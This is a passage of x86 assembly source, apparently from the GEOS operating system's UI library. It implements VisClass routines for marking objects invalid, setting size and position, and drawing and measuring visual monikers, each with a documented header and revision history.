------------------------------------------------------------------------------@
VisGetParentGeometry proc far
class VisCompClass
push bx
push si
push di
call VisSwapLockParent
EC < ERROR_NC UI_VIS_GET_PARENT_GEOMETRY_NO_PARENT >
EC < call VisCheckIfVisGrown >
EC < ERROR_NC UI_VIS_GET_PARENT_GEOMETRY_PARENT_NOT_GROWN >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di = VisInstance
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_VIS_GET_PARENT_GEOMETRY_PARENT_NOT_COMPOSITE >
mov cx, word ptr ds:[di].VCI_geoAttrs
call ObjSwapUnlock
pop di
pop si
pop bx
ret
VisGetParentGeometry endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisMarkInvalidOnParent
DESCRIPTION: Marks object's visible parent as being invalid in some way.
PASS: *ds:si - instance data
cl -- flags:
mask VOF_BUILD_INVALID (causes spec build update)
mask VOF_GEOMETRY_INVALID (causes geometry update)
mask VOF_WINDOW_INVALID (causes win move/resize)
mask VOF_IMAGE_INVALID (causes region inval)
dl -- flags:
VisUpdateMode
RETURN: ds - updated to point at segment of same block as on entry
DESTROYED:
cx
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/90 Initial version
------------------------------------------------------------------------------@
VisMarkInvalidOnParent proc far uses bx, si
.enter
call VisFindParent ; Set ^lbx:si = vis parent
tst bx
jz done ; If NO vis parent, done
; See if parent is run by same thread
; or not
call ObjTestIfObjBlockRunByCurThread
je sameThread
; If run by different thread, have
; to use ObjMessage
mov ax, MSG_VIS_MARK_INVALID
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
jmp short done
sameThread:
call ObjSwapLock
call VisMarkInvalid
call ObjSwapUnlock
done:
.leave
ret
VisMarkInvalidOnParent endp
COMMENT @----------------------------------------------------------------------
METHOD: VisMarkInvalid -- MSG_VIS_MARK_INVALID for VisClass
DESCRIPTION: Marks objects as having invalid geometry, image, or view.
Sets the invalid flags for the object according to what is
passed. Sets path flags up the tree to the ui-window
accordingly. Use VOF_IMAGE_INVALID when you've changed how
the object is drawn, so that it will redraw correctly. Use
VOF_GEOMETRY_INVALID if you want the object to be a different
size and need its (and other vis objects around it) geometry
redone. Use VOF_WINDOW_INVALID if you need to open a new window
for the object, or if the object's bounds have changed and
a window must be moved or resized accordingly.
PASS: *ds:si - instance data
cl -- flags:
mask VOF_BUILD_INVALID (causes spec build update)
mask VOF_GEOMETRY_INVALID (causes geometry update)
mask VOF_WINDOW_INVALID (causes win move/resize)
mask VOF_IMAGE_INVALID (causes region inval)
dl -- flags:
VisUpdateMode
RETURN: nothing
ds - updated to point at segment of same block as on entry
DESTROYED:
cx
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
save passed flags
;
; if any invalid bits set, set the corresponding path bit
; also clear path flags that are already set in the object
;
flags = flags or ((flags and INVALID_BITS) >>1) and
(not (optFlags and PATH_BITS))
optFlags = optFlags or flags
;
; now run up the tree, setting path bits where necessary.
;
flags = flags and PATH_BITS
if flags and not IS_WIN_GROUP
CallParent(flags)
else
restore original passed flags
if not VUM_MANUAL call MSG_VIS_UPDATE_WIN_GROUP
endif
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/24/89 Initial version
Doug 10/89 Now recurses up tree w/o using messages
------------------------------------------------------------------------------@
VisMarkInvalid method static VisClass, MSG_VIS_MARK_INVALID
class VisClass
push ax
push bx
push dx
push di
EC < test dl, 0ffh AND (not mask SBF_UPDATE_MODE) >
EC < ERROR_NZ UI_BAD_VIS_UPDATE_MODE >
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < call VisCheckOptFlags ; Check VI_optFlags >
push dx ; save update mode
mov di, ds:[si] ; point to instance
add di, ds:[di].Vis_offset ; ds:di = VisInstance
tst cl ; any bits set?
jz VMI70 ; no, branch
mov dl, ds:[di].VI_optFlags ; save original optFlags here
or ds:[di].VI_optFlags, cl ; or in new flags
; NOW, merge inval & path into
; path bits, to carry
; forward.
; Now go up the tree with any path bits, to set a path to the top.
;
; If WIN_GROUP, stop, at top.
test ds:[di].VI_typeFlags, mask VTF_IS_WIN_GROUP
jnz VMI70
; Else calc path bits needed
mov ch, cl ; copy to ch
and ch, VOF_INVALID_BITS ; take invalid bits
shr ch, 1 ; turn into path bits
or cl, ch ; and "or" back in
and cl, VOF_PATH_BITS ; keep only resulting path bits
; Do the same for original val
mov dh, dl ; copy to dh
and dh, VOF_INVALID_BITS ; take invalid bits
shr dh, 1 ; turn into path bits
or dl, dh ; and "or" back in
and dl, VOF_PATH_BITS ; keep only resulting path bits
not dl ; Any bits which where already
and cl, dl ; marked as invalid or as
; path bits need not be carried
; forward.
jz VMI70 ; if nothing more to do, done
mov dl, VUM_MANUAL ; for operations recursively
; upward, do manually
; of branch from above
; NOW, recursively call parent, without using messages, to save time.
push si
call VisSwapLockParent ; setup *ds:si = parent
jnc VMI_doneWithParent ; if no parent, skip
mov di, UI_STACK_SPACE_REQUIREMENT_FOR_RECURSE_ITERATION
call ThreadBorrowStackSpace
call VisMarkInvalid ; Mark parent invalid as
call ThreadReturnStackSpace ; appropriate
VMI_doneWithParent:
call ObjSwapUnlock ; restore ds
pop si
VMI70:
pop dx ; restore original args
EC < call VisCheckOptFlags ; Check VI_optFlags >
tst dl ; check for VUM_MANUAL
jz VMI80
push bp
call VisVupUpdateWinGroup ; call statically
pop bp
VMI80:
EC < call VisCheckOptFlags ; Check VI_optFlags >
pop di
pop dx
pop bx
pop ax
ret
VisMarkInvalid endm
COMMENT @----------------------------------------------------------------------
METHOD: VisGetCenter -- MSG_VIS_GET_CENTER for VisClass
DESCRIPTION: Returns the center of a visual object. Usually, an object's
center is the midpoint of the object -- this external routine
will return exactly that if you know your object doesn't
handle MSG_VIS_GET_CENTER specially.
PASS: *ds:si - instance data
ax - MSG_VIS_GET_CENTER
RETURN: cx - minimum amount needed left of center
dx - minimum amount needed right of center
ax - minimum amount needed above center
bp - minimum amount needed below center
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/14/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisGetCenter method static VisClass, MSG_VIS_GET_CENTER
class VisClass
push di
EC< call VisCheckVisAssumption ;make sure vis data exists >
mov di, ds:[si] ;point at instance data
add di, ds:[di].Vis_offset ;ds:di = VisInstance
call VisGetSize ;get the size of the object
mov bp, dx ;put height in bp
mov ax, bp ;and ax
mov dx, cx ;put width in dx as well as cx
shr cx, 1 ;divide width by 2 for left
sub dx, cx ;subtract from width for right
shr ax, 1 ;divide height by 2 for top
sub bp, ax ;subtract from height for bottom
pop di
ret
VisGetCenter endm
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisSetSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: This routine takes a normal width and height, and stores
it in the instance data. Should be called ONLY by the
geometry manager unless this object or its parent
is not managed. The resize leaves the upper left corner
pinned in the same location.
PASS: ax - MSG_VIS_SET_SIZE
*ds:si - instance data
cx - width of object
dx - height of object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 11/88 Initial version
Chris 2/23/89 (Hopefully) changed for the last time.
Chris 4/91 Updated for new graphics, vis bounds conventions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
VisSetSize method static VisClass, MSG_VIS_SET_SIZE
class VisClass
push bx, di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si] ; point to instance
add di, ds:[di].Vis_offset ; ds:di = VisInstance
mov bx, ds:[di].VI_bounds.R_left ; set new right value
add bx, cx
mov ds:[di].VI_bounds.R_right, bx
mov bx, ds:[di].VI_bounds.R_top ; set new top value
add bx, dx
mov ds:[di].VI_bounds.R_bottom, bx
DoPop di, bx
ret
VisSetSize endm
COMMENT @----------------------------------------------------------------------
METHOD: VisSetPosition -- MSG_VIS_SET_POSITION for VisClass
DESCRIPTION: VisClass handling routine for MSG_VIS_SET_POSITION
Changes the bounds in an object's instance data so that the
object moves, preserving its width & height. This is generally
only called by the geometry manager, but others can call it
to move objects that are not managed.
PASS:
*ds:si - instance data
ax - MSG_VIS_SET_POSITION
cx - new left edge, relative to parent window
dx - new top edge
RETURN:
nothing
DESTROYED:
nothing (can be called via static binding)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisSetPosition method static VisClass, MSG_VIS_SET_POSITION, \
MSG_VIS_POSITION_BRANCH
class VisClass
push cx, di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si] ; point to instance data
add di, ds:[di].Vis_offset
sub cx, ds:[di].VI_bounds.R_left ; make relative to current left
add ds:[di].VI_bounds.R_left, cx ; add left back in for new left
add ds:[di].VI_bounds.R_right, cx ; add rel amount for new right
mov cx,dx
sub cx, ds:[di].VI_bounds.R_top ; make relative to current top
add ds:[di].VI_bounds.R_top, cx ; add top back in for new top
add ds:[di].VI_bounds.R_bottom, cx ; add rel amt for new bottom
pop cx, di
ret
VisSetPosition endm
COMMENT @----------------------------------------------------------------------
FUNCTION: VisDrawMoniker
DESCRIPTION: Draw a visual moniker for an object. This is often called
by a MSG_VIS_DRAW handler for an object. Many things can be
passed to control where the moniker is drawn in relation to
the object's bounds, whether to clip the moniker, etc.
If you just want to draw an object's generic moniker, in
GI_visMoniker, you can call GenDrawMoniker, which takes the
same arguments as VisDrawMoniker.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
*es:bx - moniker to draw (if bx = 0, then nothing drawn)
cl - how to draw moniker: DrawMonikerFlags
ss:bp - DrawMonikerArgs
RETURN:
ax, bx -- position moniker was drawn at
ss:bp -- DrawMonikerArgs, with DMA_CLIP_TO_MAX_WIDTH still set if
clipping was needed on the moniker, otherwise cleared.
PASSED TO MONIKER:
When designing a graphics string moniker for a gadget, here's the state
you can expect when the gstring begins drawing:
* Line color, text color, area color set to the desired moniker
for that gadget and specific UI, typically black. You should
use these if your gstring is black and white. If you're using
color, you can choose your own colors but you must be sure
they look OK against all of the specific UI background colors.
* Pen position set to the upper left corner of where the moniker
should be drawn. Your graphics string *must* be drawn
relative to this pen position.
* The moniker must return all gstate variables intact, except
that colors and pen position can be destroyed.
DESTROYED:
cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
Chris 5/25/92 Rewritten to clip in both x and y.
------------------------------------------------------------------------------@
VisDrawMoniker proc far
class VisClass ;Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ;Make sure vis data exists >
EC< test cl, not DrawMonikerFlags ;any bad flags? >
EC< ERROR_NZ UI_BAD_DRAW_MONIKER_FLAGS >
EC< call ECCheckLMemObject >
test cl, mask DMF_CLIP_TO_MAX_WIDTH
jz GDM_start ;not clipping, branch
push cx, bp ;save flags, pointer to stuff
mov ax, ss:[bp].DMA_textHeight ;pass height of text, if any
mov bp, ss:[bp].DMA_gState ;pass gstate
mov di, bx ;pass moniker in *es:di
call VisGetMonikerSize ;get moniker size in cx, dx
mov bx, di ;*es:bx <- moniker again
mov di, dx ;height in di
mov dx, cx ;width in dx
DoPop bp, cx
GDM_start:
EC < push di >
EC < mov di, bx ;pass *es:di = VisMoniker >
EC < call CheckVisMoniker ;make sure is not moniker list! >
EC < pop di >
push si ;save si
mov ax, si ;also put here
clr si ;assume no moniker
tst bx
jz 10$ ;Null chunk, branch with si=0
mov si, es:[bx] ;es:si = visMoniker
10$:
push di ;save moniker height
test cl,mask DMF_NONE ;if drawing at pen position
jz GDM_notAtPen ;then do it
mov di, ss:[bp].DMA_gState
call GrGetCurPos ;(ax, bx) = pen position
jmp GDM_atPen
GDM_notAtPen:
push cx, dx ;save moniker flags
call GetMonikerPos ;ax,bx <- moniker position
pop cx, dx ;restore moniker flags
mov di, ss:[bp].DMA_gState
call GrMoveTo
GDM_atPen:
pop di ;restore moniker height
push ds
segmov ds,es
;
; We'll set an application clip region here to clip the string to
; the maximum width. If the size of the moniker warrants it, anyway.
;
push cx ;save draw flags
test cl, mask DMF_CLIP_TO_MAX_WIDTH ;see if we're clipping
jz GDM_draw ;no, don't clip
cmp dx, ss:[bp].DMA_xMaximum ;see if moniker fits
ja GDM_setupClip ;no, clip.
cmp di, ss:[bp].DMA_yMaximum ;see if moniker fits
ja GDM_setupClip ;no, clip.
pop cx ;restore draw flags
and cl, not mask DMF_CLIP_TO_MAX_WIDTH
push cx ;clear flag, save again
jmp short GDM_draw ;skip clipping stuff
GDM_setupClip:
mov di, ss:[bp].DMA_gState
push si, ax, bx, dx ;remove ax, bx when we draw
; the text at the pen pos!
call GrSaveState ;save current clip region
;
; Get current position and calculate a clip region for the text.
;
call GrGetCurPos ;get pen position in ax, bx
mov cx, ax ;put x pos in right edge
add cx, ss:[bp].DMA_xMaximum ;add max width-1 to get right
; dec cx ; edge of clip region
mov dx, bx
add dx, ss:[bp].DMA_yMaximum
; dec dx
mov si, {word} ds:[si].VM_type ;get moniker type
; Apparently, this is no longer necessary. (Or a good idea) -cbh 4/27/92
; (Apparently it is again. -cbh 11/19/92 :)
; It is no longer a good idea, again - brianc 2/9/93
;(
; test si, mask VMT_GSTRING ;is a GString?
; jz GDM_clip ;skip if not
; sub cx, ax ;else make relative to origin
; clr ax ;
; sub dx, bx
; clr bx
;)
;
;GDM_clip:
mov si, PCT_REPLACE ;new clip region
call GrSetClipRect ;set it
DoPop dx, bx, ax, si
GDM_draw:
mov di, ss:[bp].DMA_gState
tst si ;see if any moniker
jz GDM_afterDraw ;none, skip any drawing
mov cl, ds:[si].VM_type ;get moniker type
add si, VM_data ;point at the data
test cl, mask VMT_GSTRING ;is a GString?
jnz GDM_notText ;skip if so...
add si, VMT_text ;get at the text
clr cx ;draw all characters
call GrDrawText ;draw the moniker
pop cx ;restore draw moniker flags
jmp short GDM_afterDrawCxOK
GDM_notText:
pop cx ;get draw moniker flags back
push cx
test cl, mask DMF_TEXT_ONLY ;text only, skip draw
jnz GDM_afterDraw ; (cbh 12/14/92)
push bx, dx
call GrSaveState
mov cl, GST_PTR ; pointer type
mov bx, ds ; bx:si -> GString
add si, VMGS_gstring ;
call GrLoadGString ; si = GString handle
clr dx ; no flags
call GrDrawGStringAtCP ; draw it
EC < cmp dx, GSRT_COMPLETE >
EC < ERROR_NZ INVALID_MONIKER >
mov dl, GSKT_LEAVE_DATA
call GrDestroyGString
call GrRestoreState
pop bx, dx
GDM_afterDraw:
pop cx ;restore flags
GDM_afterDrawCxOK:
test cl, mask DMF_CLIP_TO_MAX_WIDTH ;see if we were clipping
jz GDM_exit ;no, exit
call GrRestoreState ;restore old clip region
GDM_exit:
pop ds
pop si ;& restore si
ret
VisDrawMoniker endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetMonikerPos
DESCRIPTION: Calculate position of object's visual moniker, without actually
drawing anything. This can be useful, along with
VisMonikerSize, for figuring out where the moniker will be
drawn. Takes the same arguments as VisDrawMoniker.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
*es:bx - moniker to draw (if bx = 0, then nothing drawn)
cl - how to draw moniker: MatrixJustifications
ss:bp - DrawMonikerArgs
RETURN:
ax, bx -- position moniker was drawn at (zeroes if no moniker)
DESTROYED:
cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisGetMonikerPos proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ;Make sure vis data exists >
clr ax ;assume no moniker...
tst bx
jz VGMP_reallyExit ;If null chunk, all done
EC < push di >
EC < mov di, bx ;pass *es:di = VisMoniker >
EC < call CheckVisMoniker ;make sure is not moniker list! >
EC < pop di >
push si ;save si
mov ax, si ;also put here
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di = VisInstance
mov si, es:[bx] ;es:si = visMoniker
test cl,mask DMF_NONE ;if drawing at pen position
jz VGMP_notAtPen ;then do it
jmp short VGMP_atPen
VGMP_notAtPen:
call GetMonikerPos ;ax,bx <- moniker position
jmp short VGMP_exit ;and exit
VGMP_atPen:
mov di, ss:[bp].DMA_gState ;pass the graphics state
call GrGetCurPos
VGMP_exit:
pop si ;& restore si
VGMP_reallyExit:
ret
VisGetMonikerPos endp
COMMENT @----------------------------------------------------------------------
ROUTINE: GetMonikerPos
SYNOPSIS: Returns the position to draw the moniker at. Assumes DMF_NONE
is not set, that the position is derived from the bounds of
the object and the size of the moniker.
CALLED BY: VisDrawMoniker, VisGetMonikerPos
PASS:
*ds:ax - instance data
*es:bx - moniker to draw
es:di - moniker to draw
cl - how to draw moniker: DrawMonikerFlags
ss:bp - DrawMonikerArgs
RETURN:
ax, bx -- position (or zeroes if no moniker)
DESTROYED:
cx, dx, di
PSEUDO CODE/STRATEGY:
uses ss:[bp].DMA_drawMonikerTextHeight for the cached height of the
object
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 10/31/89 Initial version
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
GetMonikerPos proc near
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
tst si ; any moniker to draw?
jnz 1$ ; yes, branch
clr ax ; else return zeroes
mov bx, ax
jmp exit
1$:
;DO NOT error check VisMoniker here - has already been done.
push ss:[bp].DMA_textHeight ;save this, we may use it
push ax ;save instance data ptr
; make sure that size is correct
mov ax, es:[si].VM_width ;get cached size
test es:[si].VM_type, mask VMT_GSTRING ;is a GString?
jz needWidthOrHeight ;no, always need height
mov di, ({VisMonikerGString} es:[si].VM_data).VMGS_height
mov ss:[bp].DMA_textHeight, di ;keep calc'ed height here
or ax, di ;see if everything set up
jnz gotWidthHeight ;yes, skip GetMonikerSize
needWidthOrHeight:
pop si ;instance handle in si
push si
push cx
mov di, bx ;handle of moniker in di
push bp
mov ax, ss:[bp].DMA_textHeight ;pass height of text, if any
mov bp, ss:[bp].DMA_gState ;pass gstate handle in bp
call VisGetMonikerSize ;height in dx, width in cx
pop bp
mov ss:[bp].DMA_textHeight, dx ;keep calc'ed height here
pop cx
mov si,es:[bx]
gotWidthHeight:
; compute x position for moniker
pop di ;restore object pointer
push di ;push back
mov di, ds:[di] ;point to instance
add di, ds:[di].Vis_offset ;ds:[di] -- VisInstance
clr ax ;If window, left edge is 0
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
jnz 10$
mov ax,ds:[di].VI_bounds.R_left ;ax = left bound
10$:
mov bx, ss:[bp].DMA_xInset ;assume left just, calc offset
mov ch,cl ;ch = flags for x axis
and ch,mask DMF_X_JUST
jz addOffsetX ;if left then done
mov bx,ds:[di].VI_bounds.R_right ;compute extra
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
; if window, undo offset
jz 20$
sub bx,ds:[di].VI_bounds.R_left
20$:
sub bx,ax ;bx = width
sub bx,es:[si].VM_width ;bx = extra
cmp ch,(J_RIGHT shl offset DMF_X_JUST) ; right justified ?
jz right
sar bx,1 ;centered -- use half of extra
jmp short addOffsetX
right:
sub bx, ss:[bp].DMA_xInset ;subtract offset on right
addOffsetX:
add ax,bx
; compute y position for moniker (ax = x pos)
push ax
clr ax
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
; if window, top is 0
jnz 30$
mov ax,ds:[di].VI_bounds.R_top ;ax = top bound
30$:
mov bx, ss:[bp].DMA_yInset ;assume top just, calc offset
and cl,mask DMF_Y_JUST
jz addOffsetY ;if left then done
mov bx,ds:[di].VI_bounds.R_bottom ;compute extra
; if window, undo offset
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
jz 40$
sub bx,ds:[di].VI_bounds.R_top
40$:
dec ax ;added in for new graphics --
; matches hack below (the
; correct thing would be to have
; nothing)
sub bx,ax ;bx = height
sub bx, ss:[bp].DMA_textHeight ;bx = extra
; to account for new graphics
cmp cl,(J_RIGHT shl offset DMF_Y_JUST) ; bottom justified ?
jz bottom
sar bx,1 ;centered -- use half of extra
inc bx ;the hack has to stay now.
jmp short addOffsetY
bottom:
sub bx, ss:[bp].DMA_yInset ;subtract offset on right
addOffsetY:
add bx,ax
pop ax
pop di ;throw away instance data ptr
pop ss:[bp].DMA_textHeight ;restore this
exit:
ret
GetMonikerPos endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetMonikerSize
DESCRIPTION: Get the size of a visual moniker for an object. Useful, along
with VisMonikerPos, to determine where a moniker will be drawn.
Also used in the MSG_VIS_RECALC_SIZE handlers for various
objects when the size of the moniker in some way influences
the size of the object.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data for object
*es:di - moniker (if di=0, returns size of 0)
bp - graphics state (containing font and style) to use
ax - the height of the font to be used for a text moniker, or zero
to get it from the graphics state
RETURN:
cx - moniker width
dx - moniker height
DESTROYED:
nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Chris 7/22/91 New version with cached height for gstrings
only
------------------------------------------------------------------------------@
VisGetMonikerSize proc far
push di
push es
FALL_THRU GetMonikerSizeCommon, es, di
VisGetMonikerSize endp
; *ds:si = object, *ds:di = moniker, on stack - di passed
GetMonikerSizeCommon proc far
class VisClass
tst di
LONG jz isNull
EC < call CheckVisMoniker ;make sure is not MonikerList >
mov dx, ax ;assume a text moniker, use passed ht
mov di,es:[di] ;es:di = visMoniker
mov cx,es:[di].VM_width ;get cached width
test es:[di].VM_type, mask VMT_GSTRING ;gstring, use cached ht
jz textMoniker
mov dx, ({VisMonikerGString} es:[di].VM_data).VMGS_height
jmp common
; this is a text moniker -- look for a hinted case
textMoniker:
test cx, mask VMCW_HINTED
jz common
push dx
push cx
call UserGetDefaultMonikerFont ;cx = font ID, dx = size
NPZ < cmp cx, FID_BERKELEY >
PZ < cmp cx, FID_PIZZA_KANJI >
pop cx
jnz cantUseHintedValues
NPZ < cmp dx, 9 >
PZ < cmp dx, 12 >
jz berkeley9
NPZ < cmp dx, 10 >
PZ < cmp dx, 16 >
jnz cantUseHintedValues
; it is Berkeley 10, use cached size
NPZ < CheckHack <offset VMCW_BERKELEY_10 eq 0> >
PZ < CheckHack <offset VMCW_PIZZA_KANJI_16 eq 0> >
NPZ < andnf cx, mask VMCW_BERKELEY_10 >
PZ < andnf cx, mask VMCW_PIZZA_KANJI_16 >
jmp storeNewCommon
cantUseHintedValues:
clr cx
jmp popCommon
; it is Berkeley 9, use cached size
berkeley9:
NPZ < CheckHack <offset VMCW_BERKELEY_9 eq 8> >
PZ < CheckHack <offset VMCW_PIZZA_KANJI_12 eq 8> >
NPZ < andnf cx, mask VMCW_BERKELEY_9 >
PZ < andnf cx, mask VMCW_PIZZA_KANJI_12 >
xchg cl, ch
storeNewCommon:
mov es:[di].VM_width, cx
popCommon:
pop dx
common:
jcxz needSomething
tst dx
LONG jnz done ;don't have height or width
needSomething:
; if no GState passed then create one
tst bp
pushf ;save GState passed state
jnz haveGState
push ax, cx, dx
xchg di,bp ;DI <- window to associate, di saved in bp
call GrCreateState ;Make a gstate for the window, in di
call UserGetDefaultMonikerFont
clr ah ;No fractional pt size
call GrSetFont
xchg di, bp ;BP <- gstate, di restored from bp
pop ax, cx, dx
haveGState:
test es:[di].VM_type, mask VMT_GSTRING
jnz getGraphicSize
push si
push ds
segmov ds,es
lea si,ds:[di].VM_data ;ds:si = moniker data
xchg di,bp ;di = GState, bp = visMoniker
tst cx ;do we need a width?
jnz ensureTextHeight
push dx
clr cx ;null terminated
add si, VMT_text ;point at the text
call GrTextWidth ;returns dx = width
mov cx, dx ;keep in cx
pop dx
ensureTextHeight:
tst dx ;do we need a height?
jnz gotWidthHeight
push cx
mov si, GFMI_HEIGHT or GFMI_ROUNDED ;si <- info to return, rounded
call GrFontMetrics ;dx -> height
pop cx
jmp short gotWidthHeight
; graphic moniker -- use GrGetGStringBounds
getGraphicSize:
push si, ds, ax, bx ; save object chunk and other
; registers that need saving
mov cl, GST_PTR
mov bx, es ; bx:si = gstring fptr
lea si, es:[di].VM_data + size VisMonikerGString
mov ds, bx ; ds:bp <- VisMoniker
xchg bp, di ; for later...
call GrLoadGString ; si <- gstring handle
; GrGetGStringBounds returns the bounds of the GString *relative*
; to the current pen position stored in the GState. If a GString
; contains no position-relative opcodes (like GR_DRAW_TEXT_AT_CP),
; then the bounds are not affected by this fact. However, if
; a GString does contain one or more of these opcodes, then the
; values returned will be dependent upon the current position.
; To avoid this problem, we set the pen position to be the origin,
; and ensure we save & restore the passed pen position around this
; work. We do not use GrSaveState & GrRestoreState as an
; optimization. -Don 7/11/94
call GrGetCurPos ; get pen position & save it
push ax, bx
clr ax, bx
call GrMoveTo ; always start at the origin
clr dx ; no control flags
call GrGetGStringBounds ; ax, bx, cx, dx = bounds
pop ax, bx
call GrMoveTo ; restore pen position
inc cx
inc dx
push dx
mov dl, GSKT_LEAVE_DATA ; destroy the gstring
call GrDestroyGString
pop dx
pop ax, bx ; leave ds, si on stack
gotWidthHeight:
; cx = width, dx = height. Cache our calculated values, if we can.
; ds:bp = VisMoniker, di = gstate passed (or created)
xchg di,bp ;di = visMoniker
mov ds:[di].VM_width,cx ;cache width
test ds:[di].VM_type, mask VMT_GSTRING ;is a GString?
jz cachedWidthHeight ;skip if not
mov ({VisMonikerGString} ds:[di].VM_data).VMGS_height, dx
cachedWidthHeight:
pop ds
pop si
; destroy GState if we created one
popf
jnz noDestroy
mov di,bp
call GrDestroyState
mov bp, 0 ;if we created one, return
; bp = 0 as was passed in
noDestroy:
done:
FALL_THRU_POP es, di
ret
isNull: ;Here if null chunk handle
clr cx ;Return size of 0
mov dx, cx
jmp short done
GetMonikerSizeCommon endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisMarkFullyInvalid
DESCRIPTION: Mark a visual object as being invalid in all ways that it
could possibly be invalid. Mark its visual parent as being
geometrically invalid, as well. This is used by MSG_SPEC_BUILD
handlers to make sure things are set up right for a newly-
added object.
CALLED BY: EXTERNAL
VisSpecBuild
PASS:
*ds:si - visual object to mark invalid
RETURN:
*ds:si - still pointing at object
(ds - updated to point at segment of same block as on entry)
DESTROYED:
Nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
NOTE: Since we we ALWAYS mark the object as geometrically
invalid, then in a simple visible composite tree that
is not being managed, but instead is laid out by the application,
we may have a lot of traversal by the geometry manager
through the tree, looking for something to do...
This may or may not be a problem. It may be easy to solve,
by having the application intercept the MSG_VIS_UPDATE_GEOMETRY
at a high level, & then leaving it up to the app whether to
use the lower invalid bits or just ignore them.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 9/89 Initial version
------------------------------------------------------------------------------@
VisMarkFullyInvalid proc far uses ax, bx, cx, dx, di, bp
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
.enter
EC< call VisCheckVisAssumption ;Make sure vis data exists >
; If we're not a WIN_GROUP, then adding in this
; object will mess up our parent's geometry. Mark it as invalid.
; See if WIN_GROUP or not
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, mask VTF_IS_WIN_GROUP
jnz VMFI_AfterParentInvalidation
; Mark parent composite as having bad
; geometry, that needs updating.
mov cl, mask VOF_GEOMETRY_INVALID
mov dl, VUM_MANUAL
call VisMarkInvalidOnParent
VMFI_AfterParentInvalidation:
; Invalidate the object itself, in all ways
mov cl, mask VOF_GEOMETRY_INVALID or mask VOF_WINDOW_INVALID or mask VOF_IMAGE_INVALID
; Optimization - if not a windowed object, don't need to mark
; as VOF_WINDOW_INVALID
mov di, ds:[si]
add di, ds:[di].Vis_offset
; see if windowed object
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW or mask VTF_IS_PORTAL
jnz VMFI_afterOpt ; skip if windowed
; Don't bother to mark a
; non-window invalid.
and cl, not mask VOF_WINDOW_INVALID
